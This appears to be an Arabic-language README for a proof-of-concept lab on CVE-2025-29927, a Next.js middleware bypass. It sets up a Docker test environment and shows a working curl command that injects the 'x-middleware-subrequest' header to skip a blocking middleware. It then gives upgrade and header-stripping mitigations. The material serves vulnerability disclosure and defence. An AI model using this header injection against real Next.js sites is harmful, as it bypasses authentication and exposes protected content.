
إثبات مفهوم لثغرة CVE-2025-29927 يوضح تجاوز البرمجيات الوسيطة في إصدارات Next.js الأقدم من 13.5.9
يحتوي هذا المستودع على إثبات مفهوم (PoC) يوضح كيفية تجاوز فحوصات أمان الوسيط (Middleware) في Next.js (v13.5.6) من خلال استغلال ثغرة مرتبطة بترويسات HTTP الداخلية.
CVE-2025-29927 هي ثغرة تجاوز الوسيط (Middleware Bypass) تم اكتشافها في إصدارات Next.js 1.11.4 وما قبل الإصدارات 12.3.5 و13.5.9 و14.2.25 و15.2.3. وهي تسمح لمهاجم خارجي بتجاوز منطق الأمان — مثل المصادقة، أو كشف الروبوتات، أو عمليات إعادة التوجيه المستندة إلى الموقع الجغرافي — الذي قام المطور بتنفيذه في ملف middleware.ts الخاص به.
تستخدم Next.js ترويسات HTTP داخلية للتواصل بين طبقاتها المعمارية المختلفة. أحد هذه الترويسات هو x-middleware-subrequest.
تكمن الثغرة في أن الإصدارات المتأثرة من Next.js تثق بهذه الترويسة حتى عندما يتم إرسالها من عميل خارجي (مثل المتصفح أو curl). عندما يرى الخادم هذه الترويسة، يفترض أن الطلب قد تمت معالجته بالفعل و"اجتيازه" بواسطة الوسيط، وبالتالي يتخطى تنفيذ كود الأمان الخاص بك بالكامل.
تعمل بيئة الاختبار داخل حاوية Docker Node:18-alpine لضمان بيئة نظيفة وقابلة لإعادة الإنتاج.
نبدأ بتشغيل حاوية مسماة في الخلفية. نستخدم sleep infinity لإبقاء الحاوية نشطة أثناء الإعداد.
واجهت في البداية بعض المشكلات عند إعادة تشغيل الحاوية في مراحل لاحقة، ولهذا قررت استخدام sleep infinity.
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
نقوم بتثبيت الإصدار المصاب المحدد من Next.js. لاحظ أنه على الرغم من العلم --src-dir false، فإن إطار العمل ينشئ مجلد src، وهو المكان الذي يجب أن نضع فيه الوسيط الخاص بنا ليكون نشطًا.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
لمحاكاة حاجز أمان، نقوم بإنشاء ملف middleware.ts. تم إعداد هذا الوسيط لحظر جميع الطلبات الواردة برمز حالة 401 Unauthorized.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
قم بتشغيل خادم التطوير وانتظر إشارة ✓ Ready في وحدة التحكم.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
افتح نافذة طرفية جديدة (لا تغلق الطرفية السابقة) على جهازك المضيف لاختبار البيئة باستخدام curl.
يتم التقاط الطلب القياسي بدون ترويسات معدلة وحظره بشكل صحيح بواسطة الوسيط الخاص بنا.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
من خلال حقن الترويسة الداخلية x-middleware-subrequest: src/middleware، نخدع Next.js ليعتقد أن الطلب قد تم التحقق منه بالفعل بواسطة عملية داخلية. يتخطى الخادم تنفيذ الوسيط ويمنح وصولًا كاملًا.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
لحماية تطبيقك من CVE-2025-29927، يجب ترقية Next.js إلى الإصدار المصحح المطابق لإصدارك الرئيسي الحالي:
تم حل الثغرة في الإصدارات التالية. تأكد من أن ملف package.json لديك يعكس هذه الإصدارات على الأقل:
# Example for updating to the latest patched version
npm install next@latest
إذا لم تكن الترقية الفورية ممكنة، فيجب عليك تكوين جدار حماية تطبيقات الويب (WAF) أو الخادم الوسيط العكسي (مثل Nginx أو Cloudflare أو Varnish) لـ إزالة أو إسقاط الترويسة x-middleware-subrequest من جميع الطلبات الخارجية الواردة قبل وصولها إلى خادم تطبيق Next.js.
بعد الترقية، يمكنك التحقق من الإصلاح عن طريق إعادة تنفيذ أمر الاستغلال من الخطوة 5. لن يمنح الخادم المصحح استجابة 200 OK بعد الآن عند وجود الترويسة المزيفة.
توجد هذه الثغرة لأن Next.js تثق في ترويسات جانب العميل لتحديد الطلبات الفرعية الداخلية. للتخفيف من ذلك، يجب تحديث Next.js إلى إصدار يقوم بالتحقق من هذه الترويسات الداخلية أو بتجريدها بشكل صحيح من حركة المرور الواردة الخارجية.